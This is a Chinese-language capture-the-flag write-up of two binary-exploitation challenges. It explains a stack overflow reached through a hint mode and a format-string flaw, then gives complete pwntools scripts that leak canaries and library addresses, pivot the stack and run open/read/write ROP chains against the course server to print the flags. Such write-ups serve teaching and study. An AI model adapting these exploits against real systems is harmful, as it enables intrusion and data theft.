[*] '/ctf/work/adl/2022/Test_Subject_087/Test_Subject_087'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
保護全開
seccomp-tools dump:
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0011
0005: 0x15 0x04 0x00 0x00000000 if (A == read) goto 0010
0006: 0x15 0x03 0x00 0x00000001 if (A == write) goto 0010
0007: 0x15 0x02 0x00 0x00000002 if (A == open) goto 0010
0008: 0x15 0x01 0x00 0x0000003c if (A == exit) goto 0010
0009: 0x15 0x00 0x01 0x000000e7 if (A != exit_group) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00000000 return KILL
seccomp限制了除了read/write/open/exit/exit_group
以外的syscall
code中比較重要的部分:
unsigned __int64 add_option()
{
char s[136]; // [rsp+0h] [rbp-90h] BYREF
unsigned __int64 v2; // [rsp+88h] [rbp-8h]
v2 = __readfsqword(0x28u);
memset(s, 0, 0x80uLL);
puts("What do you want to tell Test Subject 007?");
printf("> ");
read(0, s, 0x7FuLL);
add_node(s);
printf("Test Subject 007 learns %s.\n", s);
return __readfsqword(0x28u) ^ v2;
}
unsigned __int64 challenge()
{
int v1; // [rsp+Ch] [rbp-44h]
int v2; // [rsp+10h] [rbp-40h]
unsigned int v3; // [rsp+14h] [rbp-3Ch]
int v4; // [rsp+18h] [rbp-38h]
int something_list_len; // [rsp+1Ch] [rbp-34h]
unsigned int v6; // [rsp+20h] [rbp-30h]
unsigned int nbytes; // [rsp+24h] [rbp-2Ch]
const char *nbytes_4; // [rsp+28h] [rbp-28h]
char s[24]; // [rsp+30h] [rbp-20h] BYREF
unsigned __int64 v10; // [rsp+48h] [rbp-8h]
v10 = __readfsqword(0x28u);
v1 = 0;
v2 = 0;
v3 = 0;
something_list_len = get_something_list_len();
v4 = 0;
if ( lose > 2 )
{
printf("You have lost %d times in a row.\n", (unsigned int)lose);
puts("Do you want to enter hint mode?[y/N]");
printf("> ");
memset(s, 0, 0x10uLL);
read(0, s, 0xFuLL);
if ( !strncmp(s, "y", 1uLL) )
{
puts("Hint mode is opened.");
v4 = 1;
}
}
puts("Challenge start.");
while ( v1 <= 7 && v2 <= 7 )
{
++v3;
puts("-------------------------------------------------------");
printf("Round %d:\n", v3);
puts("-------------------------------------------------------");
puts("Try to guess what is in Test Subject 007's mind.");
v6 = rand() % something_list_len;
nbytes_4 = (const char *)get_something_by_idx(v6);
memset(s, 0, 0x10uLL);
if ( v4 )
{
nbytes = strlen(nbytes_4);
printf("The word has %d letters.\n", nbytes);
printf("> ");
read(0, s, nbytes);
}
else
{
printf("> ");
read(0, s, 0x10uLL);
}
printf("Test Subject 007 is thinking about %s.\n", nbytes_4);
printf("Your answer : %s\n", s);
if ( !strcmp(s, nbytes_4) )
{
puts("You got a stella. ereganto!!!");
++v1;
}
else
{
puts("You got a tonito.");
++v2;
}
printf("Now you have %d stella, %d tonito.\n", (unsigned int)v1, (unsigned int)v2);
}
if ( v1 == 8 )
{
puts("Congratulations, You pass this challenge.");
puts("Now You are Starlight Test Subject 087.");
puts("Flag is at /home/test_subject_087/flag, feel free to take it away.");
puts("Bye~~~");
puts(": chichi usotsuki");
exit(0);
}
puts("You lose.");
lose_img();
++lose;
return __readfsqword(0x28u) ^ v10;
}
可以注意到在challenge()
中,當lose > 2
的時候可以開啟hint模式
在hint模式下,若strlen(nbytes_4)
的長度比s
的buffer大小(24 bytes)還要大,read(0, s, nbytes)
時就會發生bof
而nbytes_4
是可以控制的:我們可以通過add_option()
,添加最長0x7f bytes大小的option,使nbytes_4 = (const char *)get_something_by_idx(v6)
拿到一個0x7f大小的字串
Solution
第一步是添加很多0x7f bytes的option,使get_something_by_idx
穩定得拿到夠長的字串
第二步是將canary透過overflow蓋掉一個null bytes,使其在printf("Your answer : %s\n", s);
時leak出來
第三步是再往後塞,把stack上可以預測的__libc_start_main+243
和main
address用一樣的手法leak出來,計算libc base和pie base
最後一步是ROP,但因為要open/read/write flag,需要的gadgets長度放不進0x7f - 0x20 bytes大小的buffer
所以我將rbp填上bss段上的位置,再利用剩餘的空間填上能夠呼叫read(0, &next_gadget_address, 0x100)
的gadgets,先read完整orw的ROP chain和flag的filename進去,再用leave; ret;
gadget stack pivot過去,完成最後一段ROP
#!/usr/bin/env python3
from pwn import *
import sys
from typing import Union
binary = ELF("./Test_Subject_087_patched")
libc = ELF("./libc-2.31.so")
ld = ELF("./ld-2.31.so")
context.binary = binary
context.terminal = ["tmux", "splitw", "-h", "-e", "GDB=pwndbg"]
context.arch = 'amd64'
def one_gadget(filename: str) -> list:
return [int(i) for i in
__import__('subprocess').check_output(['one_gadget', '--raw', filename]).decode().split(' ')]
GDB_SCRIPT = '''
b open
'''.strip()
def conn() -> Union[process, remote]:
io = None
for arg in sys.argv[1:]:
# ./solve <any option> d
if arg == 'd':
context.log_level = 'debug'
# ./solve l
if arg == 'l':
io = process([binary.path])
# ./solve g
elif arg == 'g':
io = gdb.debug([binary.path], gdbscript=GDB_SCRIPT)
# $ ./solve
if io is None:
io = remote("ctf.adl.tw", 10005)
return io
def main():
with conn() as io:
info("setup 0x7f length payload")
for _ in range(300):
io.sendlineafter(b"> ", b"3")
io.sendlineafter(b"> ", b"2")
io.sendafter(b"> ", b"X" * 0x7f)
info("prepare bof")
for _ in range(3):
io.sendlineafter(b"> ", b"1")
for __ in range(8):
io.sendlineafter(b"> ", b"xxxx")
canary = None
next_gadget_address = None
flag_path_address = None
flag_address = None
io.sendlineafter(b"> ", b"1")
io.sendlineafter(b"> ", b"y")
io.recvuntil(b"The word has ")
length = int(io.recvuntil(b" letters", drop=True))
if length != 0x7f:
warning("fail when leaking canary")
return False
else:
info("leaking canary")
io.sendafter(b"> ", b"A" * 0x19)
io.recvuntil(b"A" * 0x19)
canary = b"\x00" + io.recv(7)
success(f"canary: {canary}")
io.recvuntil(b"The word has ")
length = int(io.recvuntil(b" letters", drop=True))
if length != 0x7f:
warning("fail when leaking libc base")
return False
else:
info("leaking libc base")
payload = b'A' * 0x48
io.sendafter(b"> ", payload)
io.recvuntil(payload)
__libc_start_main_243_addr = int.from_bytes(io.recv(6), 'little')
info(f"__libc_start_main+243_addr: {__libc_start_main_243_addr:#x}")
libc.address = __libc_start_main_243_addr - libc.symbols["__libc_start_main"] - 243
assert libc.address & 0xfff == 0, f"libc base wrong: {libc.address:#x}"
assert libc.address > 0, f"libc base wrong: {libc.address:#x}"
success(f"libc base: {libc.address:#x}")
io.recvuntil(b"The word has ")
length = int(io.recvuntil(b" letters", drop=True))
if length != 0x7f:
warning("fail when leaking pie base")
return False
else:
info("leak pie base")
payload = b"A" * 0x68
io.sendafter(b"> ", payload)
io.recvuntil(payload)
main_address = int.from_bytes(io.recv(6), 'little')
info(f"main address: {main_address:#x}")
binary.address = main_address - binary.sym["main"]
assert binary.address & 0xfff == 0, f"pie base wrong: {binary.address:#x}"
assert binary.address > 0, f"pie base wrong: {binary.address:#x}"
success(f"pie base: {binary.address:#x}")
io.recvuntil(b"The word has ")
length = int(io.recvuntil(b" letters", drop=True))
if length != 0x7f:
warning("fail when stack pivot")
return False
else:
info("stack pivot")
rop = ROP([binary, libc])
next_gadget_address = binary.bss(0x400)
flag_path_address = next_gadget_address - 0x30
flag_address = next_gadget_address + 0x150
info(f"next gadget address: {next_gadget_address:#x}")
info(f"flag path address: {flag_path_address:#x}")
info(f"flag address: {flag_address:#x}")
rop.read(0, flag_path_address, flag_address - next_gadget_address)
rop.raw(rop.find_gadget(["leave", "ret"]))
payload = flat(
{
0x18: canary,
0x20: next_gadget_address - 8,
0x28: rop.chain(),
}
, length=0x7f)
io.sendafter(b"> ", payload)
for _ in range(4):
io.sendlineafter(b"> ", b"xxxx")
info("orw ROP")
rop = ROP([binary, libc])
payload = flat([
# open(&flag_path, 0, 0)
rop.find_gadget(["pop rdi", "ret"]).address,
flag_path_address,
rop.find_gadget(["pop rsi", "ret"]).address,
0,
rop.find_gadget(["pop rdx", "ret"]).address,
0,
rop.find_gadget(["pop rax", "ret"]).address,
constants.SYS_open,
rop.find_gadget(["syscall", "ret"]).address,
# read(fd, &flag_address, 0x100)
rop.find_gadget(["pop rdi", "ret"]).address,
3,
rop.find_gadget(["pop rsi", "ret"]).address,
flag_address,
rop.find_gadget(["pop rdx", "ret"]).address,
0x100,
rop.find_gadget(["pop rax", "ret"]).address,
constants.SYS_read,
rop.find_gadget(["syscall", "ret"]).address,
# write(1, &flag_address, 0x100)
rop.find_gadget(["pop rdi", "ret"]).address,
1,
rop.find_gadget(["pop rsi", "ret"]).address,
flag_address,
rop.find_gadget(["pop rdx", "ret"]).address,
0x100,
rop.find_gadget(["pop rax", "ret"]).address,
constants.SYS_write,
rop.find_gadget(["syscall", "ret"]).address,
])
payload = flat({
0x00: b"/home/test_subject_087/flag\0",
next_gadget_address - flag_path_address: payload
})
io.send(payload)
result = io.recvall()
# print(result)
if b"ADL" in result:
flag = result[result.index(b"ADL"): result.index(b"}") + 1].decode()
success(f"flag: {flag}") # ADL{4ny4_k0r3_5uk1_https://youtu.be/ZMV5aoQ5yko}
return True
else:
return False
if __name__ == "__main__":
while True:
try:
binary.address = 0
libc.address = 0
if main():
exit(0)
except AssertionError as e:
warning(str(e))
pass
flag: ADL{4ny4_k0r3_5uk1_https://youtu.be/ZMV5aoQ5yko}
guitarhero
Overview
checksec:
[*] '/ctf/work/adl/2022/guitarhero/guitarhero'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
保護全開
seccomp-tool dump:
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x09 0xc000003e if (A != ARCH_X86_64) goto 0011
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x06 0xffffffff if (A != 0xffffffff) goto 0011
0005: 0x15 0x04 0x00 0x00000000 if (A == read) goto 0010
0006: 0x15 0x03 0x00 0x00000001 if (A == write) goto 0010
0007: 0x15 0x02 0x00 0x000000e6 if (A == clock_nanosleep) goto 0010
0008: 0x15 0x01 0x00 0x000000e7 if (A == exit_group) goto 0010
0009: 0x15 0x00 0x01 0x00000101 if (A != openat) goto 0011
0010: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0011: 0x06 0x00 0x00 0x00000000 return KILL
只能orw
比較重要的部分:
int show_video()
{
if ( !video_name[0] )
return puts("No video had been uploaded.");
upload_time += rand() % 23 + 1;
viewers += rand() % 50;
// some useless code
printf(video_name);
// some useless code
puts(&byte_2E3F);
puts(asc_2E40);
puts(asc_2EB0);
puts(asc_2F20);
return puts(&byte_2E3F);
}
void __noreturn omedetou()
{
int fd; // [rsp+Ch] [rbp-1014h]
char s[16]; // [rsp+10h] [rbp-1010h] BYREF
unsigned __int64 v2; // [rsp+1018h] [rbp-8h]
v2 = __readfsqword(0x28u);
fd = open("omedetou.txt", 0);
if ( fd == -1 )
{
puts("Cannot read file!\nExiting...");
exit(-1);
}
memset(s, 0, 0x1000uLL);
read(fd, s, 0x1000uLL);
printf("%s", s);
exit(0);
}
__int64 upload()
{
__int64 result; // rax
puts("video name:");
memset(video_name, 0, sizeof(video_name));
read(0, video_name, 0x1FuLL);
puts("upload completed.");
upload_time = 0;
viewers = 0;
++total_video;
result = (unsigned int)(subscriber + 10);
subscriber += 10;
return result;
}
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // [rsp+Ch] [rbp-24h]
char buf[24]; // [rsp+10h] [rbp-20h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
init(argc, argv, envp);
init_seccomp();
puts("You are a shy, gloomy high-schooler who started learning guitar after seeing rock bands on TV.");
puts("Try to record guitar covers and post them to your YouTube channel.");
while ( 1 )
{
if ( !action )
end();
if ( subscriber > 999999 )
omedetou();
puts("-------------------------------------------------------");
puts("What do you want to do?");
if ( action == 1 )
printf("You have %d action.\n", (unsigned int)action);
else
printf("You have %d actions.\n", (unsigned int)action);
puts("1. show YT channel status");
puts("2. upload video");
puts("3. show latest video");
puts("-------------------------------------------------------");
printf("> ");
read(0, buf, 0xFuLL);
v3 = atoi(buf);
if ( v3 == 3 )
{
show_video();
}
else
{
if ( v3 > 3 )
goto LABEL_15;
if ( v3 == 1 )
{
show_yt_status();
}
else
{
if ( v3 != 2 )
LABEL_15:
exit(0);
upload();
}
}
--action;
}
}
可以注意到用upload()
去讀的video_name
,在show_video()
會直接被輸出,所以有format string的漏洞
另外可以注意到omedetou()
裡面會去讀檔然後print出來,所以之後應該利用裡面的gadget讀flag
另一個比較重要的部分是action
初始值是3,用完之後就會直接exit
掉
Solution
第一步先用format string的漏洞leak stack上面保存的_start
address,推算出pie base
第二步是利用上一步得到的pie base,算出action
的address,並且因為read option的時候讀了0xf bytes(read(0, buf, 0xFuLL);
),所以可以使用b"3\0AAAAAA" + p64(address)[:-1]
,把任意的address放到stack上
於是這裡我們可以將&action
放到stack上,再利用format string的漏洞對他進行寫入,就可以重複輸入3次以上了
第三步是用format string leak stack上的__libc_start_main+243
,拿到libc base
第四步是leak存在stack上的”上一個”stack frame的rbp值,並推算出”當前”rbp的值(可以直接用gdb看一下,推算出來)
第五步是將剛剛得到的rbp的值放到stack上,並透過format string的漏洞對他進行寫入,將儲存在rbp中的”上一個”stack frame、也就是main()
的rbp改寫,改寫成其值-0x18後的數值
這麼做是為了使main()
在執行read(0, buf, 0xFuLL)
時,因為buf是在rbp - 0x20的位置,所以read
執行之後,就會剛好把自己存在stack上的rip給蓋掉,於是就可以塞兩個gadgets的ROP
這時可以先填上一個在libc中找到的mov edx, 0x94d3ff3
gadget,再重新ret到read
一次,此時因為rdi和rsi都是一樣的,所以會重新read
0x94d3ff3 bytes到相同位置,這時就能重新進行ROP,剩下只需要讓rdi指向存flag檔名的address,再跳到omedetou()
裡面即可
#!/usr/bin/env python3
from pwn import *
import sys
from typing import Union
binary = ELF("./guitarhero_patched")
libc = ELF("./libc-2.31.so")
ld = ELF("./ld-2.31.so")
context.binary = binary
context.terminal = ["tmux", "splitw", "-h", "-e", "GDB=pwndbg"]
context.arch = binary.arch
def one_gadget(filename: str) -> list:
return [int(i) for i in
__import__('subprocess').check_output(['one_gadget', '--raw', filename]).decode().split(' ')]
GDB_SCRIPT = '''
b *show_video+552
'''.strip()
def conn() -> Union[process, remote]:
io = None
for arg in sys.argv[1:]:
# ./solve <any option> d
if arg == 'd':
context.log_level = 'debug'
# ./solve l
if arg == 'l':
io = process([binary.path])
# ./solve g
elif arg == 'g':
io = gdb.debug([binary.path], gdbscript=GDB_SCRIPT)
# $ ./solve
if io is None:
io = remote("ctf.adl.tw", 10009)
return io
def main():
io = conn()
info("leaking pie base")
io.sendlineafter(b"> ", b"2")
payload = b"%11$pEND"
io.sendafter(b":\n", payload)
payload = flat(b"3\n", length=8)
# payload += p8(binary.sym["action"] & 0xff)
io.sendafter(b"> ", payload)
io.recvuntil(b"0x")
_start_address = int(io.recvuntil(b"END", drop=True), 16)
info(f"_start address: {_start_address:#x}")
binary.address = _start_address - binary.sym["_start"]
success(f"pie base: {binary.address:#x}")
success(f"&action: {binary.sym['action']:#x}")
info("(int)action = 100")
io.sendlineafter(b"> ", b"2")
payload = b"%100c%11$nEND"
io.sendafter(b":\n", payload)
payload = flat({
0x00: b"3\n",
0x08: p64(binary.sym["action"])[:-1],
}, length=0xf)
io.sendafter(b"> ", payload)
io.recvuntil(b"END")
info("leaking libc base")
payload = b"%15$pEND"
io.sendlineafter(b"> ", b"2")
io.sendafter(b":\n", payload)
io.sendafter(b"> ", b"3\n")
io.recvuntil(b"0x")
__libc_start_main_243 = int(io.recvuntil(b"END", drop=True), 16)
info(f"__libc_start_main+243: {__libc_start_main_243:#x}")
libc.address = __libc_start_main_243 - libc.sym["__libc_start_main"] - 243
success(f"libc base: {libc.address:#x}")
success(f"read: {libc.sym['read']:#x}")
info("leaking stack address")
payload = b"%6$pEND"
io.sendlineafter(b"> ", b"2")
io.sendafter(b":\n", payload)
io.sendafter(b"> ", b"3\n")
io.recvuntil(b"0x")
saved_rbp = int(io.recvuntil(b"END", drop=True), 16)
success(f"saved rbp: {saved_rbp:#x}")
current_rbp = saved_rbp - 0x40
success(f"current rbp: {current_rbp:#x}")
info("stack pivot rbp to rbp-0x18 for rop")
target = saved_rbp - 0x18
payload = f"%{target & 0xffff}c%11$hnEND".encode()
io.sendlineafter(b"> ", b"2")
io.sendafter(b":\n", payload)
payload = flat({
0x00: b"3\n",
0x08: p64(current_rbp)[:-1],
})
io.sendafter(b"> ", payload)
io.recvuntil(b"END")
info("rop to open flag then read/print flag")
payload = flat({
0x00: p64(0x19530a + libc.address), # mov edx, 0x94d3ff3 ; ret
0x08: p64(libc.sym["read"])[:-1], # read(0, rbp-0x20, 0x94d3ff3)
}, length=0xf)
io.sendafter(b"> ", payload)
rop = ROP(libc)
filename = b"/home/guitarhero/flag\0"
flag_offset = 0x80
payload = flat(
0x4141414141414141,
0x4242424242424242,
rop.find_gadget(["pop rdi", "ret"]).address,
target - 0x20 + flag_offset,
rop.find_gadget(["pop rsi", "ret"]).address,
0,
binary.address + 0x1ab8, # open/read gadget
length=flag_offset,
)
payload += filename
io.send(payload)
result = io.recvall()
flag = result[result.index(b"ADL{"): result.index(b"}") + 1]
success(f"flag: {flag.decode()}") # ADL{5h0un1n_y0kkyuu_m0n573r!!!https://youtu.be/IwHwv-lcxi4}
if __name__ == "__main__":
main()
flag: ADL{5h0un1n_y0kkyuu_m0n573r!!!https://youtu.be/IwHwv-lcxi4}
Final words
這次我是班上最快破台的人,蠻開心的,感覺比兩年前的自己多會了很多東西~
不過隨著見識過的高手越來越多,我也越來越明白自己還有非常多不足的地方,希望有朝一日能趕上他們的腳步!